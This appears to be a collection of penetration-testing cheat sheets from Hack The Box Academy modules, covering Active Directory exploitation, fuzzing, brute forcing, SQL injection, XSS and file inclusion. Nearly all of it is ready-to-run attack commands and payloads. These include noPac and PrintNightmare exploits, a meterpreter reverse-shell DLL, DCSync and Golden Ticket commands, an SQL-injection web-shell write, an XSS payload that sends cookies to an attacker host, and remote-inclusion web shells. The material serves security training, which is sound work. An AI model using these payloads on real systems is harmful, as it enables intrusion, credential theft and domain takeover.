\u0026quot;inlanefreight\\damundsen\u0026quot; -password \u0026quot;SQL1234!\u0026quot; -query 'Select @@version' Connects to a SQL server and queries the version from a Windows-based host using PowerUpSQL. mssqlclient.py Displays functionality and options provided with mssqlclient.py from a Linux-based host. mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth Connects to a MSSQL server from a Linux-based host using Impacket. SQL\u0026gt; help Displays mssqlclient.py options once connected to a MSSQL server. SQL\u0026gt; enable_xp_cmdshell Enables xp_cmdshell stored procedure for executing OS commands via the database from a Linux-based host. xp_cmdshell whoami /priv Enumerates rights on a system using xp_cmdshell. NoPac\nCommand Description sudo git clone https://github.com/Ridter/noPac.git Clones the noPac exploit repository using git from a Linux-based host. sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap Runs scanner.py to check if a target system is vulnerable to noPac/Sam_The_Admin from a Linux-based host. sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap Exploits the noPac/Sam_The_Admin vulnerability to gain a SYSTEM shell from a Linux-based host. sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator Exploits the noPac/Sam_The_Admin vulnerability to perform a DCSync attack against the built-in Administrator account on a Domain Controller from a Linux-based host. PrintNightmare\nCommand Description git clone https://github.com/cube0x0/CVE-2021-1675.git Clone PrintNightmare exploit repository using git from a Linux-based host. pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install Ensure the exploit author\u0026rsquo;s (cube0x0) version of Impacket is installed and uninstall any previous Impacket version on a Linux-based host. rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR' Check if a Windows target has MS-RPRN \u0026amp; MS-PAR exposed from a Linux-based host. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.129.202.111 LPORT=8080 -f dll \u0026gt; backupscript.dll Generate a DLL payload for gaining a shell session from a Windows-based host. sudo smbserver.py -smb2support CompData /path/to/backupscript.dll Create an SMB server and host a shared folder (CompData) with the DLL payload from a Linux-based host. sudo python3 CVE-2021-1675.py inlanefreight.local/\u0026lt;username\u0026gt;:\u0026lt;password\u0026gt;@172.16.5.5 '\\\\10.129.202.111\\CompData\\backupscript.dll' Executes the exploit and specifies the location of the DLL payload. Performed from a Linux-based host. PetitPotam\nCommand Description sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController Use Impacket tool to create an NTLM relay, specifying the web enrollment URL for the Certificate Authority host. Performed from a Linux-based host. git clone https://github.com/topotam/PetitPotam.git Clone the PetitPotam exploit repository using git from a Linux-based host. python3 PetitPotam.py 172.16.5.225 172.16.5.5 Execute the PetitPotam exploit by specifying the IP address of the attack host and the target Domain Controller. Performed from a Linux-based host. python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\\$ -pfx-base64 \u0026lt;base64 certificate\u0026gt; = dc01.ccache Use gettgtpkinit.py to request a TGT ticket for the Domain Controller from a Linux-based host. secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass \u0026quot;ACADEMY-EA-DC01$\u0026quot;@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL Perform a DCSync attack to retrieve NTLM password hashes from the target Windows domain. Performed from a Linux-based host. klist View the contents of the ccache file. Performed from a Linux-based host. python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$ Submit TGS requests using getnthash.py from a Linux-based host. secretsdump.py -just-dc-user INLANEFREIGHT/administrator \u0026quot;ACADEMY-EA-DC01$\u0026quot;@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba Extract hashes from NTDS.dit using a DCSync attack and a captured hash. Performed from a Linux-based host. Miscellaneous Misconfigurations\nCommand Description Import-Module .\\SecurityAssessment.ps1 Import the module Security Assessment.ps1. Performed from a Windows-based host. Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL Use SecurityAssessment.ps1 based tool to enumerate a Windows target for MS-PRN Printer bug. Performed from a Windows-based host. adidnsdump -u inlanefreight\\\\forend ldap://172.16.5.5 Resolve all records in a DNS zone over LDAP from a Linux-based host. adidnsdump -u inlanefreight\\\\forend ldap://172.16.5.5 -r Resolve unknown records in a DNS zone by performing an A query from a Linux-based host. Get-DomainUser \\* | Select-Object samaccountname,description Use PowerView tool to display the description field of select objects on a target Windows domain from a Windows-based host. Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol Use PowerView tool to check for the PASSWD_NOTREQD setting of select objects on a target Windows domain from a Windows-based host. ls \\\\academy-ea-dc01\\SYSVOL\\INLANEFREIGHT.LOCAL\\scripts List the contents of a share hosted on a Windows target from the context of a currently logged on user. Performed from a Windows-based host. Group Policy Enumeration \u0026amp; Attacks\nCommand Description gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE Tool used to decrypt a captured group policy preference password from a Linux-based host. crackmapexec smb -L | grep gpp Locates and retrieves a group policy preference password using CrackMapExec, then filters the output using grep. Performed from a Linux-based host. crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin Locates and retrieves any credentials stored in the SYSVOL share of a Windows target using CrackMapExec from a Linux-based host. Get-DomainGPO | select displayname PowerView tool used to enumerate GPO names in a target Windows domain from a Windows-based host. Get-GPO -All | Select DisplayName PowerShell cmd-let used to enumerate GPO names. Performed from a Windows-based host. $sid=Convert-NameToSid \u0026quot;Domain Users\u0026quot; Creates a variable called $sid that is set equal to the Convert-NameToSid tool and specifies the group account Domain Users. Performed from a Windows-based host. Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid PowerView tool used to check if the Domain Users (eq $sid) group has any rights over one or more GPOs. Performed from a Windows-based host. Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532 PowerShell cmd-let used to display the name of a GPO given a GUID. Performed from a Windows-based host. ASREPRoasting\nCommand Description Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl PowerView based tool used to search for the DONT_REQ_PREAUTH value across in user accounts in a target Windows domain. Performed from a Windows-based host. .\\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat Uses Rubeus to perform an AS-REP Roasting attack and formats the output for Hashcat. Performed from a Windows-based host. hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt Uses Hashcat to attempt to crack the captured hash using a wordlist (rockyou.txt). Performed from a Linux-based host. kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt Enumerates users in a target Windows domain and automatically retrieves the AS for any users found that don\u0026rsquo;t require Kerberos pre-authentication. Performed from a Linux-based host. Trust Relationships - Child \u0026gt; Parent Trusts\nCommand Description Import-Module activedirectory Used to import the Active Directory module. Performed from a Windows-based host. Get-ADTrust -Filter * PowerShell cmd-let used to enumerate a target Windows domain\u0026rsquo;s trust relationships. Performed from a Windows-based host. Get-DomainTrust PowerView tool used to enumerate a target Windows domain\u0026rsquo;s trust relationships. Performed from a Windows-based host. Get-DomainTrustMapping PowerView tool used to perform a domain trust mapping from a Windows-based host. Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName PowerView tools used to enumerate users in a target child domain from a Windows-based host. mimikatz # lsadump::dcsync /user:LOGISTICS\\krbtgt Uses Mimikatz to obtain the KRBTGT account\u0026rsquo;s NT Hash from a Windows-based host. Get-DomainSID PowerView tool used to get the SID for a target child domain from a Windows-based host. Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity \u0026quot;Enterprise Admins\u0026quot; | select distinguishedname,objectsid PowerView tool used to obtain the Enterprise Admins group\u0026rsquo;s SID from a Windows-based host. ls \\\\academy-ea-dc01.inlanefreight.local\\c$ Used to attempt to list the contents of the C drive on a target Domain Controller. Performed from a Windows-based host. mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt Uses Mimikatz to create a Golden Ticket from a Windows-based host. .\\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt Uses Rubeus to create a Golden Ticket from a Windows-based host. mimikatz # lsadump::dcsync /user:INLANEFREIGHT\\lab_adm Uses Mimikatz to perform a DCSync attack from a Windows-based host. secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt Impacket tool used to perform a DCSync attack from a Linux-based host. lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 Impacket tool used to perform a SID Brute forcing attack from a Linux-based host. lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep \u0026quot;Domain SID\u0026quot; Impacket tool used to retrieve the SID of a target Windows domain from a Linux-based host. lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 \u0026quot;Enterprise Admins\u0026quot; Impacket tool used to retrieve the SID of a target Windows domain and attach it to the Enterprise Admin group\u0026rsquo;s RID from a Linux-based host. ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker Impacket tool used to create a Golden Ticket from a Linux-based host. export KRB5CCNAME=hacker.ccache Used to set the KRB5CCNAME Environment Variable from a Linux-based host. psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5 Impacket tool used to establish a shell session with a target Domain Controller from a Linux-based host. raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm Impacket tool that automatically performs an attack that escalates from child to parent domain. Trust Relationships - Cross-Forest\nCommand Description Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName PowerView tool used to enumerate accounts for associated SPNs from a Windows-based host. Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof PowerView tool used to enumerate the mssqlsvc account from a Windows-based host. .\\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap Uses Rubeus to perform a Kerberoasting Attack against a target Windows domain (/domain:FREIGHTLOGISTICS.local) from a Windows-based host. Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host. Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\\administrator PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based host. GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley Impacket tool used to request (-request) the TGS ticket of an account in a target Windows domain (-target-domain) from a Linux-based host. bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2 Runs the Python implementation of BloodHound against a target Windows domain from a Linux-based host. zip -r ilfreight_bh.zip *.json Used to compress multiple files into 1 single .zip file to be uploaded into the BloodHound GUI. Complete Completion Link\nWeb Proxies Cheatsheet Burp Shortcuts\nShortcut Description [CTRL+R] Send to repeater [CTRL+SHIFT+R] Go to repeater [CTRL+I] Send to intruder [CTRL+SHIFT+I] Go to intruder [CTRL+U] URL encode [CTRL+SHIFT+U] URL decode ZAP Shortcuts\nShortcut Description [CTRL+B] Toggle intercept on/off [CTRL+R] Go to replacer [CTRL+E] Go to encode/decode/hash Firefox Shortcuts\nShortcut Description [CTRL+SHIFT+R] Force Refresh Page Complete Completion Link\nFFuF Cheatsheet Ffuf\nCommand Description ffuf -h ffuf help ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ Directory Fuzzing ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ Extension Fuzzing ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php Page Fuzzing ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v Recursive Fuzzing ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/ Sub-domain Fuzzing ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx VHost Fuzzing ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx Parameter Fuzzing - GET ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Parameter Fuzzing - POST ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Value Fuzzing Wordlists\nCommand Description /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt Directory/Page Wordlist /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt Extensions Wordlist /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt Domain Wordlist /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt Parameters Wordlist Misc\nCommand Description sudo sh -c 'echo \u0026quot;SERVER_IP academy.htb\u0026quot; \u0026gt;\u0026gt; /etc/hosts' Add DNS entry for i in $(seq 1 1000); do echo $i \u0026gt;\u0026gt; ids.txt; done Create Sequence Wordlist curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded' curl w/ POST Complete Completion Link\nLogin Brute Forcing Username Anarchy is a great tool for permutations of possible usernames for a person.\nCheatsheet Hydra\nCommand Description hydra -h Hydra help hydra -C wordlist.txt SERVER_IP -s PORT http-get / Basic Auth Brute Force - Combined Wordlist hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get / Basic Auth Brute Force - User/Pass Wordlists hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form \u0026quot;/login.php:username=^USER^\u0026amp;password=^PASS^:F=\u0026lt;form name='login'\u0026quot; Login Form Brute Force - Static User, Pass Wordlist hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4 SSH Brute Force - User/Pass Wordlists hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1 FTP Brute Force - Static User, Pass Wordlist Wordlists\nCommand Description /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt Default Passwords Wordlist /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt Common Passwords Wordlist /opt/useful/SecLists/Usernames/Names/names.txt Common Names Wordlist Misc\nCommand Description cupp -i Creating Custom Password Wordlist sed -ri '/^.{,7}$/d' william.txt Remove Passwords Shorter Than 8 sed -ri '/[!-/:-@\\[-{-~]+/!d\u0026rsquo; william.txt` Remove Passwords With No Special Chars sed -ri '/[0-9]+/!d' william.txt Remove Passwords With No Numbers ./username-anarchy Bill Gates \u0026gt; bill.txt Generate Usernames List ssh b.gates@SERVER_IP -p PORT SSH to Server ftp 127.0.0.1 FTP to Server su - user Switch to User Complete Completion Link\nSQL Injection Fundamentals Databases Relational databases use structured schemas with tables, rows, and columns, and are ideal for storing well-defined data that can be easily queried using SQL. Data in these tables is interconnected through keys, allowing efficient data management. Examples include MySQL and PostgreSQL. Non-relational databases (NoSQL) don\u0026rsquo;t rely on fixed schemas or structured tables, instead using flexible storage models like key-value pairs, documents, wide-columns, or graphs. They are best suited for unstructured or dynamic datasets and are highly scalable. A common example is MongoDB. To be able to write files to the back-end server using a MySQL database, we require three things:\nUser with FILE privilege enabled MySQL global secure_file_priv variable not enabled (SHOW VARIABLES LIKE 'secure_file_priv'; or SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name=\u0026quot;secure_file_priv\u0026quot;) Write access to the location we want to write to on the back-end server Cheatsheet MySQL\nGeneral\nCommand Description mysql -u root -h docker.hackthebox.eu -P 3306 -p Login to MySQL database SHOW DATABASES List available databases USE users Switch to database Tables\nCommand Description CREATE TABLE logins (id INT, ...) Add a new table SHOW TABLES List available tables in current database DESCRIBE logins Show table properties and columns INSERT INTO table_name VALUES (value_1, ..) Add values to table INSERT INTO table_name(column2, ...) VALUES (column2_value, ..) Add values to specific columns in a table UPDATE table_name SET column1=newvalue1, ... WHERE \u0026lt;condition\u0026gt; Update table values Columns\nCommand Description SELECT * FROM table_name Show all columns in a table SELECT column1, column2 FROM table_name Show specific columns in a table DROP TABLE logins Delete a table ALTER TABLE logins ADD newColumn INT Add new column ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn Rename column ALTER TABLE logins MODIFY oldColumn DATE Change column datatype ALTER TABLE logins DROP oldColumn Delete column Output\nCommand Description SELECT * FROM logins ORDER BY column_1 Sort by column SELECT * FROM logins ORDER BY column_1 DESC Sort by column in descending order SELECT * FROM logins ORDER BY column_1 DESC, id ASC Sort by two columns SELECT * FROM logins LIMIT 2 Only show first two results SELECT * FROM logins LIMIT 1, 2 Only show two results starting from index 2 SELECT * FROM table_name WHERE \u0026lt;condition\u0026gt; List results that meet a condition SELECT * FROM logins WHERE username LIKE 'admin%' List results where the name is similar to a given string MySQL Operator Precedence\nDivision (/), Multiplication (*), and Modulus (%) Addition (+) and Subtraction (-) Comparison (=, \u0026gt;, \u0026lt;, \u0026lt;=, \u0026gt;=, !=, LIKE) NOT (!) AND (\u0026amp;\u0026amp;) OR (||) SQL Injection\nAuth Bypass\nPayload Description admin' or '1'='1 Basic Auth Bypass admin')-- - Basic Auth Bypass with comments Union Injection\nPayload Description ' order by 1-- - Detect number of columns using ORDER BY cn' UNION select 1,2,3-- - Detect number of columns using UNION injection cn' UNION select 1,@@version,3,4-- - Basic UNION injection UNION select username, 2, 3, 4 from passwords-- - UNION injection for 4 columns DB Enumeration\nPayload Description SELECT @@version Fingerprint MySQL with query output SELECT SLEEP(5) Fingerprint MySQL with no output cn' UNION select 1,database(),2,3-- - Current database name cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - List all databases cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- - List all tables in a specific database cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- - List all columns in a specific table cn' UNION select 1, username, password, 4 from dev.credentials-- - Dump data from a table in another database Privileges\nPayload Description cn' UNION SELECT 1, user(), 3, 4-- - Find current user cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user=\u0026quot;root\u0026quot;-- - Find if user has admin privileges cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee=\u0026quot;'root'@'localhost'\u0026quot;-- - Find all user privileges cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name=\u0026quot;secure_file_priv\u0026quot;-- - Find which directories can be accessed through MySQL File Injection\nPayload Description cn' UNION SELECT 1, LOAD_FILE(\u0026quot;/etc/passwd\u0026quot;), 3, 4-- - Read local file select 'file written successfully!' into outfile '/var/www/html/proof.txt' Write a string to a local file cn' union select \u0026quot;\u0026quot;,'\u0026lt;?php system($_REQUEST[0]); ?\u0026gt;', \u0026quot;\u0026quot;, \u0026quot;\u0026quot; into outfile '/var/www/html/shell.php'-- - Write a web shell into the base web directory Complete Link of Completion\nSQLMap Essentials Overview The technique characters BEUSTQ refers to the following:\nB: Boolean-based blind (AND 1=1) E: Error-based (AND GTID_SUBSET(@@version,0)) U: Union query-based (UNION ALL SELECT 1,@@version,3) S: Stacked queries (; DROP TABLE users) T: Time-based blind (AND 1=IF(2\u0026gt;1,SLEEP(5),0)) Q: Inline queries (SELECT (SELECT @@version) from) Level/Risk By default, SQLMap combines a predefined set of most common boundaries (i.e., prefix/suffix pairs), along with the vectors having a high chance of success in case of a vulnerable target. Nevertheless, there is a possibility for users to use bigger sets of boundaries and vectors, already incorporated into the SQLMap.\nFor such demands, the options --level and --risk should be used:\nThe option --level (1-5, default 1) extends both vectors and boundaries being used, based on their expectancy of success (i.e., the lower the expectancy, the higher the level). The option --risk (1-3, default 1) extends the used vector set based on their risk of causing problems at the target side (i.e., risk of database entry loss or denial-of-service). Tamper Scripts Finally, one of the most popular mechanisms implemented in SQLMap for bypassing WAF/IPS solutions is the so-called \u0026ldquo;tamper\u0026rdquo; scripts. Tamper scripts are a special kind of (Python) scripts written for modifying requests just before being sent to the target, in most cases to bypass some protection.\nFor example, one of the most popular tamper scripts between is replacing all occurrences of greater than operator (\u0026gt;) with NOT BETWEEN 0 AND #, and the equals operator (=) with BETWEEN # AND #. This way, many primitive protection mechanisms (focused mostly on preventing XSS attacks) are easily bypassed, at least for SQLi purposes.\nTamper scripts can be chained, one after another, within the --tamper option (e.g. --tamper=between,randomcase), where they are run based on their predefined priority. A priority is predefined to prevent any unwanted behavior, as some scripts modify payloads by modifying their SQL syntax (e.g. ifnull2ifisnull). In contrast, some tamper scripts do not care about the inner content (e.g. appendnullbyte).\nTamper scripts can modify any part of the request, although the majority change the payload content. The most notable tamper scripts are the following:\nTamper-Script Description 0eunion Replaces instances of UNION with e0UNION base64encode Base64-encodes all characters in a given payload between Replaces greater than operator (\u0026gt;) with NOT BETWEEN 0 AND # and equals operator (=) with BETWEEN # AND # commalesslimit Replaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M counterpart equaltolike Replaces all occurrences of operator equal (=) with LIKE counterpart halfversionedmorekeywords Adds (MySQL) versioned comment before each keyword modsecurityversioned Embraces complete query with (MySQL) versioned comment modsecurityzeroversioned Embraces complete query with (MySQL) zero-versioned comment percentage Adds a percentage sign (%) in front of each character (e.g. SELECT -\u0026gt; %S%E%L%E%C%T) plus2concat Replaces plus operator (+) with (MsSQL) function CONCAT() counterpart randomcase Replaces each keyword character with random case value (e.g. SELECT -\u0026gt; SEleCt) space2comment Replaces space character ( ) with comments / space2dash Replaces space character ( ) with a dash comment (\u0026ndash;) followed by a random string and a new line (\\n) space2hash Replaces (MySQL) instances of space character ( ) with a pound character (#) followed by a random string and a new line (\\n) space2mssqlblank Replaces (MsSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters space2plus Replaces space character ( ) with plus (+) space2randomblank Replaces space character ( ) with a random blank character from a valid set of alternate characters symboliclogical Replaces AND and OR logical operators with their symbolic counterparts (\u0026amp;\u0026amp; and ) versionedkeywords Encloses each non-function keyword with (MySQL) versioned comment versionedmorekeywords Encloses each keyword with (MySQL) versioned comment Cheatsheet Command Description sqlmap -h View the basic help menu sqlmap -hh View the advanced help menu sqlmap -u \u0026quot;http://www.example.com/vuln.php?id=1\u0026quot; --batch Run SQLMap without asking for user input sqlmap 'http://www.example.com/' --data 'uid=1\u0026amp;name=test' SQLMap with POST request sqlmap 'http://www.example.com/' --data 'uid=1*\u0026amp;name=test' POST request specifying an injection point with an asterisk sqlmap -r req.txt Passing an HTTP request file to SQLMap sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' Specifying a cookie header sqlmap -u www.target.com --data='id=1' --method PUT Specifying a PUT request sqlmap -u \u0026quot;http://www.target.com/vuln.php?id=1\u0026quot; --batch -t /tmp/traffic.txt Store traffic to an output file sqlmap -u \u0026quot;http://www.target.com/vuln.php?id=1\u0026quot; -v 6 --batch Specify verbosity level sqlmap -u \u0026quot;www.example.com/?q=test\u0026quot; --prefix=\u0026quot;%'))\u0026quot; --suffix=\u0026quot;-- -\u0026quot; Specifying a prefix or suffix sqlmap -u www.example.com/?id=1 -v 3 --level=5 Specifying the level and risk sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --banner --current-user --current-db --is-dba Basic DB enumeration sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --tables -D testdb Table enumeration sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --dump -T users -D testdb -C name,surname Table/row enumeration sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --dump -T users -D testdb --where=\u0026quot;name LIKE 'f%'\u0026quot; Conditional enumeration sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --schema Database schema enumeration sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --search -T user Searching for data sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --passwords --batch Password enumeration and cracking sqlmap -u \u0026quot;http://www.example.com/\u0026quot; --data=\u0026quot;id=1\u0026amp;csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE\u0026quot; --csrf-token=\u0026quot;csrf-token\u0026quot; Anti-CSRF token bypass sqlmap --list-tampers List all tamper scripts sqlmap -u \u0026quot;http://www.example.com/case1.php?id=1\u0026quot; --is-dba Check for DBA privileges sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --file-read \u0026quot;/etc/passwd\u0026quot; Reading a local file sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --file-write \u0026quot;shell.php\u0026quot; --file-dest \u0026quot;/var/www/html/shell.php\u0026quot; Writing a file sqlmap -u \u0026quot;http://www.example.com/?id=1\u0026quot; --os-shell Spawning an OS shell Complete Link of Completion\nCross-Site Scripting (XSS) Cheatsheet XSS Payloads\nCode Description \u0026lt;script\u0026gt;alert(window.origin)\u0026lt;/script\u0026gt; Basic XSS Payload \u0026lt;plaintext\u0026gt; Basic XSS Payload \u0026lt;script\u0026gt;print()\u0026lt;/script\u0026gt; Basic XSS Payload \u0026lt;img src=\u0026quot;\u0026quot; onerror=alert(window.origin)\u0026gt; HTML-based XSS Payload \u0026lt;script\u0026gt;document.body.style.background = \u0026quot;#141d2b\u0026quot;\u0026lt;/script\u0026gt; Change Background Color \u0026lt;script\u0026gt;document.body.background = \u0026quot;https://www.hackthebox.eu/images/logo-htb.svg\u0026quot;\u0026lt;/script\u0026gt; Change Background Image \u0026lt;script\u0026gt;document.title = 'HackTheBox Academy'\u0026lt;/script\u0026gt; Change Website Title \u0026lt;script\u0026gt;document.getElementsByTagName('body')[0].innerHTML = 'text'\u0026lt;/script\u0026gt; Overwrite website\u0026rsquo;s main body \u0026lt;script\u0026gt;document.getElementById('urlform').remove();\u0026lt;/script\u0026gt; Remove certain HTML element \u0026lt;script src=\u0026quot;http://OUR_IP/script.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; Load remote script \u0026lt;script\u0026gt;new Image().src='http://OUR_IP/index.php?c='+document.cookie\u0026lt;/script\u0026gt; Send Cookie details to us Commands\nCommand Description python xsstrike.py -u \u0026quot;http://SERVER_IP:PORT/index.php?task=test\u0026quot; Run xsstrike on a URL parameter sudo nc -lvnp 80 Start netcat listener sudo php -S 0.0.0.0:80 Start PHP server Complete Link of Completion\nFile Inclusion Cheatsheet Local File Inclusion (LFI)\nCommand Description /index.php?language=/etc/passwd Basic LFI /index.php?language=../../../../etc/passwd LFI with path traversal /index.php?language=/../../../etc/passwd LFI with name prefix /index.php?language=./languages/../../../../etc/passwd LFI with approved path LFI Bypasses\nCommand Description /index.php?language=....//....//....//....//etc/passwd Bypass basic path traversal filter /index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 Bypass filters with URL encoding /index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] Bypass appended extension with path truncation (obsolete) /index.php?language=../../../../etc/passwd%00 Bypass appended extension with null byte (obsolete) /index.php?language=php://filter/read=convert.base64-encode/resource=config Read PHP with base64 filter Remote Code Execution (RCE)\nPHP Wrappers\nCommand Description /index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D\u0026amp;cmd=id RCE with data wrapper curl -s -X POST --data '\u0026lt;?php system($_GET[\u0026quot;cmd\u0026quot;]); ?\u0026gt;' \u0026quot;http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/index.php?language=php://input\u0026amp;cmd=id\u0026quot; RCE with input wrapper curl -s \u0026quot;http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/index.php?language=expect://id\u0026quot; RCE with expect wrapper RFI\nCommand Description echo '\u0026lt;?php system($_GET[\u0026quot;cmd\u0026quot;]); ?\u0026gt;' \u0026gt; shell.php \u0026amp;\u0026amp; python3 -m http.server \u0026lt;LISTENING_PORT\u0026gt; Host web shell /index.php?language=http://\u0026lt;OUR_IP\u0026gt;:\u0026lt;LISTENING_PORT\u0026gt;/shell.php\u0026amp;cmd=id Include remote PHP web shell LFI + Upload\nCommand Description echo 'GIF8\u0026lt;?php system($_GET[\u0026quot;cmd\u0026quot;]); ?\u0026gt;' \u0026gt; 